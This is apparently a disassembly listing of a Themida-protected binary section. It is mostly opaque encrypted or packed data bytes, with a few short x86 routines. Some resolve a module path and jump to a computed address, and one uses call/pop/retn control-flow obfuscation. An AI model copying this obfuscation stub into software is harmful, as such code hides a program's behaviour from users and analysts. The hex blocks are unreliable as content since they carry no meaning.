dd 484801C0h, 5EBF92C7h, 0DB4ADD32h, 0F17203D3h, 28E7F249h
dd 797E0911h, 0F2FD4DF1h, 0F05206C9h, 8A1D0397h, 9FE8DA5h
dd 0CFBC4DF2h, 4D420B40h, 0E02F61C2h, 0E00115ABh, 7D94D3FBh
dd 1348C7C4h, 9F79040h, 555D4DF2h, 4DF20A32h, 0A3AE4651h
dd 761DC410h, 24AE481Eh, 98CBh, 0A5AE1D00h, 29F901C0h
dd 0ED49F177h, 78B9CED6h, 0BFCA4DF1h, 0A4D9E42Ch, 115EB1DBh
dd 3CFB1478h, 0A4050A83h, 1DF025EAh, 0B0DCA58Ah, 0C74B2A5Fh
dd 52BDCF1Ah, 0E7B01005h, 546524AEh, 0B7000000h, 0FAB9A2AEh
dd 1EB762E3h, 0C5A2313Fh, 5A839031h, 2ABD51F7h, 0E0579DCAh
dd 5E939EC7h, 0DE664546h, 37AA96C7h, 38F7DCE8h, 0DE653730h
dd 0EE7B4447h, 1D6A726Fh, 5E47DF76h, 6DF32A53h, 120956C1h
dd 0C19F3591h, 57B8BBFCh, 0CEA1D639h, 72C3Bh, 74960000h
dd 47h, 0F71872DEh, 7C93F9C2h, 5BF6962Fh, 73728C84h, 17D64149h
dd 80717696h, 7B0EE9A6h, 16FB0996h, 0EFC3C9E1h, 0A2ED47DFh
dd 0ADB849AFh, 0C12C5F88h, 44CBC38Ch, 13CE120Fh, 578AA6CEh
dd 43F85030h, 0C2B85DDh, 14D70000h, 5F92F5FDh, 0E6F147DFh
dd 37707E53h, 0DF5F582Fh, 0C4CC2B47h, 47DF5FC3h, 0DF4AB5C0h
dd 8C7E92AAh, 0E4A8CE68h, 632DF62Bh, 0FEB277ACh, 0BAD6FEE3h
dd 0D6606027h, 3148AB17h, 8A9B5E29h, 5BE68CD1h, 0FE6DB610h
dd 96FA5B66h, 2AE4E679h, 36000000h, 0FCBBA0AEh, 0DF5F93F4h
dd 0B0E5F047h, 53239198h, 5F829EAEh, 0CF33A828h, 0F1F9108Bh
dd 0F1533896h, 4547DAE5h, 271h, 0C5A0AE97h, 3F1247C8h
dd 305C15D4h, 376CA3E9h, 3866F964h, 1C72361Ch, 5B1475F3h
dd 0D4A7DC33h, 16924041h, 25BCEACEh, 525Bh, 0A0AEAD00h
dd 0C143DBBh, 47DF5F82h, 9EEDA605h, 0B9693C71h, 47DF5FCEh
dd 60097E86h, 6F7A47DFh, 0E361CCD7h, 18723E14h, 35179F7h
dd 92F5FD14h, 0F147DF5Fh, 5FFD8A92h, 737E47DFh, 67667508h
dd 8F000000h, 60177078h, 596447DFh, 487D92F8h, 14B4E275h
dd 49DC335Bh, 14C36674h, 32D5E294h, 14F674DFh, 8BF7CFDh
dd 0CDDCE737h, 0E2B4DA3Ah, 564147DFh, 62ADDE97h, 4E838C01h
dd 14BAE87Bh, 58D29E93h, 6E0127B3h, 3B67E8FFh, 4F40BBB5h
dd 14B3E174h, 5F92F5FDh, 0E6F147DFh, 0C7484253h, 315B1449h
dd 43D6A9DEh, 5B23C311h, 2335C7B6h, 58EB246Ah, 0BAD34647h
dd 49DEA55h, 5CE858Ah, 3BD08788h, 5F2FBA27h, 0C0CE5FB0h
dd 5A71984Fh, 0E7B83552h, 0A83B4659h, 270643C0h, 0BBF01F6Eh
dd 0D80955E8h, 3D8E810Dh, 762DE2ACh, 0A4EAE0ADh, 0E359E7B7h
dd 788C21D8h, 0FF107E69h, 9F701DAEh, 2758CA6Ah, 3CBDC61Bh
dd 7B6FDF87h, 42D37BC0h, 20919423h, 99EEF6B5h, 0EA59E797h
dd 523B4CDFh, 1449C6C7h, 0F089D641h, 0F1BA719Eh, 97602E9Ch
dd 1C2759E7h, 6CED7C65h, 35B97E3Dh, 0B8C07F15h, 59E81ACFh
dd 0C20EA1ACh, 45CAC41Fh, 94BDCD86h, 0DFC6E030h, 356AD51Bh
dd 808F0162h, 44FDECEDh, 0BC8FC44Bh, 99761829h, 98C442E2h
dd 0CCC22DB4h, 2D61F243h, 2B622BE2h, 3D729DEEh, 0B348FF6Ah
dd 0E7A7429Fh, 7229D728h, 1D34F31Ch, 0CDA6299Ch, 0F6A6C10Eh
dd 47DFC691h, 2654E7F2h, 0A2AE361Ch, 4D41FAB9h, 27BA8DC2h
dd 16D482F9h, 25BCEACEh, 455Bh, 0A2AEAD00h, 7279FAB9h
dd 49158498h, 14DE0C9Fh, 0DF5F820Ch, 3BFA0547h, 0A2030C82h
dd 1AED22EDh, 3E145987h, 99A11A72h, 47DF5FEEh, 9917828Dh
dd 8609C251h, 0EE815489h, 3E74C0h, 0E49D0000h, 5D3065AAh
dd 0A2AE9CCAh, 0FD143BB9h, 5FA9DEE6h, 0CFDA47DFh, 5FB2DC3Ch
dd 2DAE47DFh, 97A58F51h, 50DF5FF3h, 0A2B2ACD5h, 0AA956F02h
dd 723E142Ch, 7D36F51Ah, 0FACD020Dh, 3513967h, 0DF6EBD23h
dd 1D9E5D47h, 42F07D06h, 0D0DF7210h, 0FFFFFD17h, 5F68233Ah
dd 808E47DFh, 0DC5BDC9Bh, 2B41A08h, 0D7706D00h, 0BA4A9EB3h
dd 0CFC5EFACh, 7EE954BBh, 0CB563149h, 917D47DFh, 1AF59550h
dd 4B3C445Bh, 3847DFCBh, 21666E2Dh, 6247DFCCh, 2EC7C457h
dd 764B15Eh, 6BE254FBh, 7211767Eh, 677247DFh, 576E5D3Eh
dd 639FB7ECh, 0C205B5BEh, 7C543BA6h, 0A960EAA4h, 221h
dd 5F6B23FBh, 848D47DFh, 8CD6DE9Dh, 5449F16Ah, 0EA1FF09Bh
dd 313C8417h, 0D03F4BE4h, 55BAD29Bh, 0DAEDD96h, 0F1738205h
dd 8BF6014Dh, 6BEC13F8h, 0F261D995h, 1E2FC25Fh, 29E2A16Eh
dd 0A477AC63h, 33C64943h, 0C9B8C14Eh, 9CEBF30Ah, 0DF4DF165h
dd 2E63ACDEh, 0EE5DF05Bh, 9F701ED7h, 8E86AC0Ch, 68315003h
dd 1649C0ADh, 0B4339E5Fh, 0EDB8A0FAh, 0AD8C53F8h, 0C900000Dh
dd 61FA47C8h, 0FE97E42Bh, 9D36838Ch, 37D01DF2h, 7C6CB956h
dd 37D8B539h, 0D53A51EAh, 6EA1EF88h, 9068821h, 8B93E2BCh
dd 4DF7BCFCh, 72CCA27Fh, 31BEF31Ch, 727A3928h, 49F7AD8Dh
dd 1BD4939Eh, 0BA53A06Fh, 0D34649D0h, 0B6EB56B9h, 7A4378E3h
dd 833CFB14h, 8D72050Ah, 4B0AF700h, 0DD12FD92h, 8770Ah
dd 5009D122h, 3F83020Dh, 53EDB2C0h, 0D36E7AEh, 3F520000h
dd 0A2EA83D0h, 387206Dh, 6926BF0Ch, 0CDC059A6h, 0B005F542h
dd 73C04F3Eh, 115EB1DAh, 0AAF71878h, 45927D11h, 73141C6Bh
dd 104DF7BDh, 1C725D33h, 2831BEF3h, 0E2637A39h, 0A84BAEABh
dd 2B5C0CA3h, 5847DFAAh, 6DA2EC4Dh, 63D26538h, 0F1DA035Bh
dd 9CA4BB49h, 4DF1C4EBh, 0B2FA8D98h, 0CDC15AA7h, 4C028342h
dd 70DCAA48h, 0EB4845D8h, 2C34F3E2h, 5009C3C8h, 7831F0FBh
dd 0ED2D3F12h, 0DAB3DAC9h, 0C6FB1479h, 10C988F3h, 8B5E937Ch
dd 76AB642Ah, 7A1310A3h, 0BF40FF10h, 0D22B5DCBh, 6A4FE21Eh
dd 0ED22EDA1h, 0AB6A5760h, 24FB8C94h, 7D8847EAh, 0AF737BEAh
dd 7E49FC47h, 59CA9DB5h, 667E04Dh, 9C1B8689h, 0EBA0222Eh
dd 65B87F24h, 8100000Ch, 19B2FF10h, 0B64F9C73h, 55EE3BD4h
dd 0EF88D53Ah, 3424719Eh, 0EF206D81h, 8D8209A2h, 26E9A740h
dd 0C14E40D9h, 434B9A74h, 4DF7BD44h, 72845A37h, 7B34F31Ch
dd 1CAFF10h, 8316818Eh, 1908119Eh, 6480525Ah, 646F49F1h
dd 10E7E17h, 8704BDB4h, 0A6E4F588h, 8B93AA69h, 4DF16BFCh
dd 0E4E1747Fh, 305B142Eh, 6E774CDFh, 62C0C887h, 4D49F17Fh
dd 96F50D42h, 5D4DF180h, 0E827651Eh, 14DE0B3h, 0DF29A9E0h
dd 0A5FE24AEh, 50000000h, 0C0F51A72h, 457A95F7h
dd 0C7FC137Ch, 252D8EFEh, 47DF5F62h, 5EAB1621h, 3DDCAE67h
dd 0B689BE51h, 0B043164Bh, 24E3D2DBh, 0BAEF206Bh, 0DDE554E7h
dd 49F174A5h, 0F1995269h, 6616E91Eh, 4DF17621h, 7CC45762h
dd 0B392F271h, 3BE0EBAAh, 0B8774h, 21EEA300h, 0BE513BD4h
dd 5DB2D871h, 0F7187710h, 937C11AAh, 8F5F5646h, 2BC411FEh
dd 0C962AF60h, 62FB48C7h, 0BC96E32Ch, 0BF22656Dh, 84614DF7h
dd 729314AEh, 0A1E6EE3Eh, 0E247E044h, 2F47AED7h, 0E1A6AE6Dh
dd 0A247E034h, 99F30497h, 5B922976h, 0FC000000h, 0DC335B14h
dd 0F7880A7h, 6C47DF60h, 5263F661h, 13A0D53Ah, 545C1B0Ah
dd 49F188DEh, 593FBEC9h, 0B9EBAA8Dh, 0B0A4D14h, 6B260000h
dd 0CEBE57A4h, 2F5BF441h, 95FA93E0h, 0F9942D7Ah, 0DCD9C916h
dd 47947B12h, 0E532DDAEh, 7ECB444Ch, 1966A9E5h, 9FE8F03Fh
dd 0DC4DF7BFh, 1C7229FFh, 99F5BEF3h, 0B0BB46B8h, 6FD044E4h
dd 0E7BAEF20h, 0F05C477Ch, 93A9AF1h, 0A7EF22BCh, 41000002h
dd 6C25D89Bh, 0E4B7EC23h, 8E737C51h, 977816CFh, 0C57E9504h
dd 6D1C45CAh, 93A68902h, 331B7B0Eh, 5249F1AFh, 0AC078847h
dd 0A024AEAh, 2F1E1FB2h, 0C2F71876h, 2CFC5CEFh, 305A89B8h
dd 0C3F81777h, 7F885DF0h, 43CBD392h, 1B3F7671h, 4FE22D62h
dd 3AC7FC07h, 7D854431h, 3D89F598h, 0F7E7Fh, 0CE8DF8CBh
dd 49967915h, 0B823B52h, 4CFCCF04h, 3D61F93Bh, 6B030C7Fh
dd 828DFF60h, 5FB0DEEFh, 3A3CF4E0h, 0F2B95E18h, 0A2Ch
dd 79C64948h, 1663ACE0h, 0B5020D7Dh, 4F9C731Ch, 0EB38D7B6h
dd 5934BAFBh, 0BBD069B6h, 226E0754h, 8707A0EDh, 12613B88h
dd 0F7C07D0Ah, 4B21FE4Dh, 0C0F51A72h, 0D7A8299h, 6E47DF60h
dd 87F21D6Dh, 5FC7C0C8h, 0A9B447DFh, 49384116h, 0AD38828Ah
dd 5C6749F7h, 69A6E49Dh, 0DDAE67D6h, 3F4CE532h, 0AF13747Ch
dd 65704DF7h, 2F38C5FAh, 476F284h, 2D98541Ch, 614C666Eh
dd 707B500Ah, 8693F8B1h, 1D40906h, 524D3A42h, 232E47EAh
dd 0B9D26BB8h, 9A105C98h, 51BC95F8h, 0D6DEF51Ch, 47E99BB1h
dd 2334C7D2h, 0CF25A46Bh, 83EDB299h, 97A17DEh, 0FB960000h
dd 5E2EC714h, 0BFCB64B1h, 256A0350h, 89049DEAh, 6C493986h
dd 0B7040B82h, 55A26D1Eh, 0EE3BD4BCh, 89D63955h, 2F5860AFh
dd 4C4DF7C1h, 9314996Fh, 98A030C0h, 47E036EFh, 6858818Ch
dd 0C5308EA7h, 78B43CC6h, 41464E0Dh, 4247DFBAh, 0B1A8A437h
dd 0B9F5929Ah, 278647DFh, 0DFB9681Fh, 0A5101B47h, 0BA0DB212h
dd 0AF647DFh, 96F5AED7h, 99040B83h, 1AF59B64h, 14A712E5h
dd 0CBBAC310h, 0C0AE040Ch, 0DBF249F1h, 0B2CBBCC4h, 0ADB84DF1h
dd 0F1B28AFDh, 0AF60304Dh, 40FA77Ah, 5F1E2971h, 0DE2BE4A6h
dd 25CB7881h, 7773D140h, 0A7EF0D83h, 0BDD7F77Eh, 0F08B9352h
dd 0AC500482h, 413CB52Bh, 5D2D8891h, 3FAA7DB2h, 2B6364ACh
dd 1BA79E4h, 52FF8C8Dh, 3FDF3517h, 0D50A75ADh, 4C3B4302h
dd 2F47E5B2h, 0D36CB924h, 85D554BBh, 2DEDBEF6h, 886C188h
dd 0EFA20000h, 523AD320h, 0B3D770BDh, 19760F5Ch, 7D10A9F6h
dd 60554592h, 0C310FF8Eh, 61AE612Ah, 0FA47C8C8h, 95E22D61h
dd 23646CBBh, 604DF7C2h, 6823AD83h, 5247DF5Fh, 8F86D33Ch
dd 60177078h, 596447DFh, 5FF5929Ah, 7B8647DFh, 1B0A13E8h
dd 0AEAC545Ch, 8C9749F1h, 997614CDh, 8FFE9164h, 4ACFBF78h
dd 0CD60CB44h, 0EE3BD4BCh, 9FD43B55h, 813D8h, 0A5AE4200h
dd 74BE02h, 774A7F90h, 0AB00134Eh, 55C02BE4h, 0CAC67F96h
dd 1052B245h, 0DF49F211h, 120F7880h, 616C4DF2h, 199AC1F6h
dd 3EE8060Eh, 0AFB77675h, 4DF17AD8h, 0AD0DA0ABh, 4DF17ADEh
dd 6E1DD615h, 1FC20EA1h, 0AEE56868h, 0DEBD24h, 720F0000h
dd 7B94FB1Eh, 93D05110h, 6B163CCh, 0C28B7003h, 481146C9h
dd 0CB94C946h, 0D28B4AC5h, 0C2BF52BDh, 73A86729h, 13FC934Ch
dd 0B2A3AB80h, 0CE4EBF3h, 0ED747E0h, 5CB2E844h, 0B8ED5862h
dd 0D4BD2410h, 679C731Bh, 0A0F00194h, 95F7B06Fh, 51EAE77Ah
dd 839BD03Fh, 47DF6810h, 0FC934C5Bh, 0AD348013h, 74C14E42h
dd 67260F17h, 0DF69605Fh, 70AB2C47h, 3B9C8649h, 3C3D8518h
dd 1D52BD52h, 0A9E23754h, 15AEFB66h, 9B649976h, 3FE71CF3h
dd 38538E53h, 9AF18AD7h, 0AAB34075h, 92F4FCBBh, 0F549F24Ch
dd 87049DEAh, 0BEC65388h, 750E16D5h, 0FE4DF256h, 2A16BEF3h
dd 0B05F2CB7h, 4EC1CA63h, 9E838C19h, 7C77D7DFh, 838E5004h
dd 21EE9D36h, 44434B62h, 3747E031h, 39C992Ch, 7F35828Dh
dd 1C0A5AEh, 0F17089F9h, 0EAA9B449h, 0D3BD5C31h, 0C99CD13Ch
dd 0A92A5136h, 17759149h, 0C7F0C3F8h, 4BDEECD6h, 0FEBD523Ah
dd 8C5F6A7Dh, 52E5ACCFh, 0B0DD5E55h, 9A024631h, 0AEF11FB2h
dd 5D84B9A2h, 7067EAA4h, 222086E4h, 21F42994h, 275D2E8Eh
dd 315D47E0h, 0ADE0A9DEh, 0B4682D62h, 2B5C642Dh, 5847E028h
dd 9EBAE24Dh, 36744C43h, 39A122BCh, 0F3000000h, 0C0F51A72h
dd 0DF5FDFA8h, 0D908F447h, 0D2917E0Eh, 5FD4B3BBh, 0B2DE47DFh
dd 27BAC55Dh, 141C332Ah, 47DF5F73h, 97CC4347h, 8E212CC4h
dd 0DF7A992Eh, 90B81747h, 22FFFFFFh, 75F31C72h, 5B14B89Eh
dd 0D3A6DB34h, 765F6B40h, 16D086F8h, 25BCEACEh, 4B5Bh
dd 0DBB36C00h, 32CFF34h, 0ABF3EF03h, 4876098Ah, 0CBC3A2AEh
dd 611AD944h, 0D8ABE02Fh, 0C141745h, 47DF5F7Bh, 853EFD08h
dd 45730609h, 1A723E14h, 147F90FFh, 51363E55h, 3247DF5Fh
dd 14669427h, 4DE02F5Bh, 3B74CD1Bh, 0DE000000h, 0AAFBA2AEh
dd 0D9AEB6D5h, 0AA47DFDBh, 590B769Fh, 0C9382DEBh, 0E853B061h
dd 5B14FF7Dh, 0DA49DC33h, 0DF5FB5D2h, 80889F47h, 47DF6007h
dd 0FCD66974h, 3E149311h, 77F51A72h, 0FD140351h, 0DF5F92F5h
dd 53E6F147h, 6B734842h, 47DF601Ch, 0B4E9545Fh, 0DF5FEB9Ch
dd 28E1F047h, 4349AA65h, 0F4ED39CCh, 222A91F9h, 47DF5F65h
dd 0D8AFB716h, 0AB47DF5Fh, 0B9D435A0h, 0E34E2156h, 7066AE96h
dd 278647DFh, 0FFFFF391h, 0F51A7291h, 53424BA8h, 6CDA8C94h
dd 0D2DD49F1h, 6E06859Dh, 0AEED4DF1h, 6DF88F97h, 0C28B4DF1h
dd 0B511AA5h, 0AB3EA90Fh, 8B0B825Fh, 0F324AE57h, 27BA553Ah
dd 0E25h, 8747700h, 9D000000h, 2E63ACE4h, 0AE9AC85Bh, 4801C0A5h
dd 0CB3ACD42h, 0F174A3C3h, 9CF2AB49h, 0D86B3E73h, 87508590h
dd 80A24C05h, 966F6054h, 0A4F3B903h, 3AA51093h, 987C05EDh
dd 0A3244DF1h, 0F29EFE20h, 5F72F41Dh, 0F29EAF42h, 95D3615Fh
dd 92FD86B7h, 752552D3h, 0B71FFDD1h, 4CFF28Eh, 79AA91Ah
dd 0FA1F710Ah, 234A7F90h, 0F1AE6C1Bh, 99040F4Dh, 0B759F92Eh
dd 6724F59Ah, 35A073A8h, 0B6593700h, 0A1408481h, 5B86823Ch
dd 0C20F0090h, 0F3AA6529h, 15ED642Ah, 408EE196h, 6F04BB26h
dd 335B865Bh, 0FB66A9E6h, 0BE16FCAAh, 6B233CEAh, 0D9h
dd 0BDA6AEBDh, 820C143Fh, 0DE47DF5Fh, 81EB755Dh, 0A1B3BB43h
dd 0AAEA13C8h, 0D87F4CB6h, 0ADE30777h, 0EAD5AF42h, 373E146Ch
dd 931423A9h, 0C0CC4AF2h, 1E471A4Fh, 0D76AC54Ah, 0C947C8C6h
dd 0B7FF9314h, 0A3FD0BFh, 81920E37h, 0D77F922h, 6BFA497Fh
dd 0AE0DF3D8h, 143BB9A2h, 79997D93h, 4ADDB4D7h, 0CE16974Dh
dd 5B25BCEAh, 41h, 0B9A2AEADh, 0C14E41FAh, 5B14002Eh, 0D3A6DB34h
dd 0BEC9D140h, 0BD47DF5Fh, 3E1434B2h, 0B2371A72h, 0A4D5449Dh
dd 0AB04838Bh, 6C7747DFh, 1ED79601h, 996CA16Eh, 2ABD5238h
dd 740351FCh, 22h, 0B9A2AEDEh, 7B0C143Bh, 7647DF5Fh, 3E140D8Bh
dd 36F51A72h, 19F3DDB5h, 9866438h, 0DA089B06h, 5B140351h
dd 3B4ADD32h, 0FFFFFF1Eh, 0F31C72A5h, 7699F5BEh, 20C3CC29h
dd 0EA10A2E6h, 688D0C23h, 9EABFE27h, 0A4DAADB5h, 9EA947DFh
dd 5009C833h, 0D59ED33Ch, 4E2156B9h, 40B82E3h, 94FA0271h
dd 0F349F1D1h, 0F09BB3E8h, 34DF1C9h, 3393FAE7h, 0E824AE88h
dd 3Ah, 0C0A5AE3Ah, 7ECDF901h, 2D3849F1h, 0A450D1F8h, 0F0805211h
dd 4A41A134h, 0A94DF1F6h, 3C4B536Ah, 3F4DF1F7h, 8C55A134h
dd 0CC434A03h, 0C431C497h, 24AE69CCh, 0BC19h, 1C726B00h
dd 98F5BEF3h, 0D0050A81h, 2D7CD4FDh, 8BF5297Ah, 6C22EB20h
dd 0E9A56EA3h, 0EF1D926h, 5447DFF7h, 0EF88D53Ah, 0AE3B709Fh
dd 4801C0A5h, 0C396CB44h, 9DB9C130h, 849F1F7h, 4A53B0FDh
dd 0ABE39C5Bh, 858A0364h, 7BEA7D50h, 4A0A873h, 0D1909B50h
dd 4D9A7518h, 0B736D9B4h, 0EDBE95A9h, 9DDDA449h, 0B9000002h
dd 51EA37D8h, 0EE87D43Bh, 8D26739Ch, 27C00D02h, 6C5CA966h
dd 27E8A549h, 0C54A41DAh, 5EB1DF78h, 0F9167811h, 7B83D2ACh
dd 4DF7C80Ch, 72BC926Fh, 7E91FE1Bh, 0EF9B5413h, 8518EB20h
dd 709FEF88h, 1B732C23h, 0AC894A36h, 2E99EA1Bh, 0E36D1305h
dd 59EC9BC8h, 0C0A5AE2Bh, 7ECDF901h, 581149F1h, 0D1A4D936h
dd 0B6EBF63Eh, 0F180ED9Eh, 0FBC0CD4Dh, 0F18094F3h, 71DCE74Dh
dd 0F619733Ch, 0CA172BC1h, 97AEED15h, 0F180F88Fh, 1024FA4Dh
dd 85412FD2h, 34FE2EDh, 192FA7DEh, 0ABFC24AEh, 4E000000h
dd 0BEF31C72h, 427798F5h, 0DF5BD52Ah, 9E711D47h, 39D6B851h
dd 0BE5CDD04h, 4F413887h, 20BE073h, 0A4C5413h, 0ED49F24Eh
dd 2F3895E2h, 437B8342h, 625004F9h, 0ADE22D61h, 99B06FDAh
dd 1E6DACE0h, 7EE9BCF1h, 5CB3DAEBh, 0F817760Fh, 0BEF85579h
dd 0B1781DEDh, 1A4h, 0F13ED1C0h, 8EDB3458h, 2D7A95F5h
dd 0C714FB94h, 63B05F2Eh, 0E1AC4273h, 4348E12Eh, 0AAE67FCCh
dd 0F7F1865h, 8AD9B300h, 0F7C90582h, 0C399764Dh, 0A7F41B72h
dd 0F199800Eh, 6F66B31Eh, 22ED9F58h, 1D6A1AEDh, 5E47DF60h
dd 948E2A53h, 473B068h, 1C724371h, 4D828DFDh, 97500F7Ah
dd 0A3881BF4h, 9C5BB4DAh, 3166A9E3h, 71CECB5Eh, 1BA7968h
dd 0E018D8Ch, 669B06D9h, 89910093h, 49F16729h, 5A2D3594h
dd 294DF168h, 3BF4B31Eh, 0D66FBC53h, 952257B8h, 65E6A58Ch
dd 99175EDFh, 19881B91h, 0A4E3EB02h, 0D74DF197h, 0E9D939CCh
dd 0D45009E5h, 0D3104AC9h, 5D02EDB2h, 0E796h, 818E0300h
dd 1EF19B34h, 0BD5238D1h, 57B8D770h, 0F31C710Ah, 0EFFFB6A6h
dd 8B24719Eh, 29C20F00h, 0C25BA867h, 1CF643CCh, 0C9C2C5CDh
dd 0E4C14DF7h, 315B140Eh, 26DA2E8h, 0A4919A6Fh, 0ADA9DDE5h
dd 0ECA549F7h, 63366BA4h, 487D88D0h, 0E9266821h, 0C6494556h
dd 9FE8F007h, 0DC4DF7ADh, 0A8413ED1h, 7FDD6BE6h, 892D6D19h
dd 658ED426h, 43AE7B06h, 0B666E70Eh, 0B73640FAh, 0E98BEB7Eh
dd 36EA808Ch, 6A24BF22h, 0D3DBE0AFh, 0AD91F1B4h, 1C51BCC7h
dd 0F891DE49h, 1D447996h, 51E42B64h, 8BC04F40h, 5653D4E3h
dd 0EC23683Bh, 89516DC3h, 0DE97CD5Fh, 0D86BD663h, 833C558Ch
dd 62730609h, 0FD96E32Ch, 22497E91h, 5E7460A1h, 3EBAE32Ch
dd 0D4E3765Bh, 14h, 2F5B143Eh, 45D8ABE0h, 969EB5E4h, 47DF5FF1h
dd 0C6F48792h, 0BBF01F72h, 3E739CF2h, 0BFF41B75h, 457A95F6h
dd 0C9FE117Ch, 4D828D00h, 0CF040B84h, 568B8406h, 0DB10FF8Dh
dd 43C768D4h, 1C890000h, 4F2C6824h, 2C890000h, 37FA6824h
dd 3C890000h, 6E685324h, 5B4A1741h, 0E3C1DBF7h, 0B5EB8107h
dd 53EE46F8h, 66242C81h, 5D712255h, 5566C581h, 835B7122h
dd 248904ECh, 24048324h, 89525F04h, 85789EAh, 8324148Bh
dd 34FF04C4h, 0C4835F24h, 242C8B04h, 5E08950h, 4, 405h
dd 24048700h, 1513E95Ch, 7244FFFAh, 6B7BB8D2h, 0C5030618h
dd 0C185C650h, 47061215h, 38172568h, 0F1B5FFCFh, 8D061217h
dd 123B4885h, 8BD0FF06h, 1D858DD8h, 50061209h, 10468h
dd 0C6D3FF00h, 1215C185h, 0BF685306h, 0FF8307F8h, 1217F1B5h
dd 48858D06h, 0FF06123Bh, 0D8589D0h, 8306184Eh, 122EEDBDh
dd 840F0006h, 0Bh, 0C99D8Bh, 5E90612h, 0BB000000h, 0
; ---------------------------------------------------------------------------
push 100h
lea esi, [ebp+6184E11h]
push esi
push ebx
call dword ptr [ebp+6121CFDh]
lea esi, [ebp+6184E11h]
add esi, eax
jmp loc_5E2759
; ---------------------------------------------------------------------------
loc_5E2758: ; CODE XREF: Themida_:005E2765j
dec esi
loc_5E2759: ; CODE XREF: Themida_:005E2753j
cmp byte ptr [esi], 5Ch
jz loc_5E276B
cmp byte ptr [esi], 2Fh
jnz loc_5E2758
loc_5E276B: ; CODE XREF: Themida_:005E275Cj
mov byte ptr [esi], 0
lea eax, [ebp+6184E11h]
push eax
call dword ptr [ebp+6184E0Dh]
pop eax
jmp eax
; ---------------------------------------------------------------------------
dw 0F03h
dd 0E88A36D3h, 29BE6183h, 388B4B99h, 679D6DE7h, 17E77A27h
dd 0D05E3F3Dh, 68FB3592h, 430979F7h, 0DA6E79CCh, 2CEF7860h
dd 62C46F16h, 1A1F271Eh, 0BC8A0A70h, 8D8D4449h, 6186DAEh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A0C35646h
dd 0A571E824h, 934F25F9h, 7C5858Bh, 89600612h, 121A798Dh
dd 0BDB50106h, 61061232h, 3BBB6660h, 8D896181h, 6122DCDh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 91C35646h
dd 7B8CF9FAh, 89D2BF0Fh, 122B31BDh, 0BD85C706h, 0FC061231h
dd 0E9000060h, 5, 0B129F951h, 68D0F9Dh, 29000000h, 121A6185h
dd 1185C706h, 61200h, 89000000h, 1210D985h, 0B1B5FF06h
dd 89061219h, 1226B9BDh, 8195FF06h, 0E8061227h, 0Ah, 0BF2388A3h
dd 31629F15h, 858948D7h, 612114Dh, 0FF006A5Eh, 1229D195h
dd 0EBC08B06h, 95B0057Ah, 0F37003Bh, 79BF977Dh, 62FC872Eh
dd 0DF1CC020h, 18DF5CD8h, 9ED49292h, 18B8D7E1h, 0BD797CD5h
dd 9C1CCFCAh, 22B8B18Ah, 511591DDh, 4982DBF4h, 4273CC18h
dd 0BC84678Ah, 0B6F6F5E6h, 519E440Ah, 3A850F4Fh, 21718CCFh
dd 0E24CC36Dh, 0F9D2181Fh, 22B9A3F4h, 0DE82EED4h, 39EB187Eh
dd 38B96969h, 8CCE9B28h, 0B6107EA6h, 0CB5538BCh, 9C3A604Bh
dd 0F98B7A48h, 0E8CDF413h, 8, 35CD9C95h, 625C6D1h, 0F7AEB95Bh
dd 0C3810171h, 65F5h, 9E8h, 95842E00h, 0FA63C6E7h, 0B52B73C3h
dd 6121BA9h, 0C18DBA5Fh, 0F281465Bh, 465BD8DDh, 68F0Fh
dd 85290000h, 6122E95h, 8B6633FFh, 8D8B58FEh, 6122799h
dd 404EC081h, 5E9543Dh, 73000000h, 76233196h, 0D2B1E881h
dd 0BE66479Bh, 0C0819ADFh, 115A9834h, 13158D8Bh, 3890612h
dd 17318D8Bh, 0EB830612h, 9E904h, 4F660000h, 0C142B4Ah
dd 4A9736FAh, 1D850Fh, 8D0F0000h, 2, 1AE9F08Bh, 70000000h
dd 3C0BCE20h, 0E4F1F7CCh, 0A2BC60FDh, 0E95DA888h, 0FFFFFF8Ch
dd 6AA8FF98h, 7D8D8DE1h, 6A06186Fh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0E659C355h
dd 0B3EA7D08h, 89E3ABF9h, 122DCD8Dh, 0ABD8B806h, 85C72CDBh
dd 61231BDh, 5CB4h, 85C72FB2h, 6120011h, 0
; ---------------------------------------------------------------------------
sub [ebp+61207E9h], ebx
mov edi, ecx
push dword ptr [ebp+61219B1h]
mov di, 0A14Bh
call dword ptr [ebp+6122781h]
push 0
push ecx
call sub_5E2A33
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E2A33 proc near ; CODE XREF: Themida_:005E2A2Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5E2A33 endp
; ---------------------------------------------------------------------------
db 22h
dd 61E1405Dh, 9D891266h, 6121561h, 95FF006Ah, 61229D1h
dd 7AEBC08Bh, 0F7A934A9h, 7CB6D0A4h, 0EA802F50h, 0A473CE58h
dd 7D9B0D4Ch, 3CDCA8Bh, 1F68BBA6h, 0B3BE820Eh, 0A3AB398Dh
dd 74519526h, 68875A88h, 0BF0EF22Bh, 2D8A596h, 1336DECAh
dd 34AC908Bh, 352AF542h, 0E9C51D48h, 3A754D3Fh, 0CB8596DFh
dd 0ADA61D1Bh, 0A9D0DD9Bh, 467D8C7Bh, 14CF82Ah, 7EE82B4Eh
dd 0FFAC69E2h, 4A0BEC1Ch, 44BAF2BFh, 0E050A7CEh, 0FD744458h
dd 0D18B1270h, 0CE8B0DCh, 90000000h, 9670A1C8h, 0C398F420h
dd 80391F49h, 0E85E18CCh, 0Ch, 84CFA2ADh, 295026E4h, 297440AAh
dd 5BDD8A53h, 0EEC6815Fh, 52000068h, 11E9h, 0E1663E00h
dd 8176B48Fh, 67EEF362h, 7663E2A8h, 685FE376h, 1A04h, 19258531h
dd 8B590612h, 6036FFDEh, 18F99D31h, 5A610612h, 14E9h, 0D57F9200h
dd 0F81F8289h, 3FD59EBh, 8B0C7316h, 46E524FBh, 44F281C2h
dd 95140F3h, 12090DB5h, 7EEA8106h, 8920D4FBh, 121F158Dh
dd 26EA8106h, 891871D5h, 122EE59Dh, 8B168906h, 1226359Dh
dd 24EE8106h, 813804E5h, 4E520C6h, 9D858B38h, 83061232h
dd 850F01E9h, 13h, 20E9h, 0AA698800h, 9F508C00h, 0CCE34AF7h
dd 8B97554Ch, 1219D59Dh, 0FF77E906h, 385EFFFFh, 0D4589097h
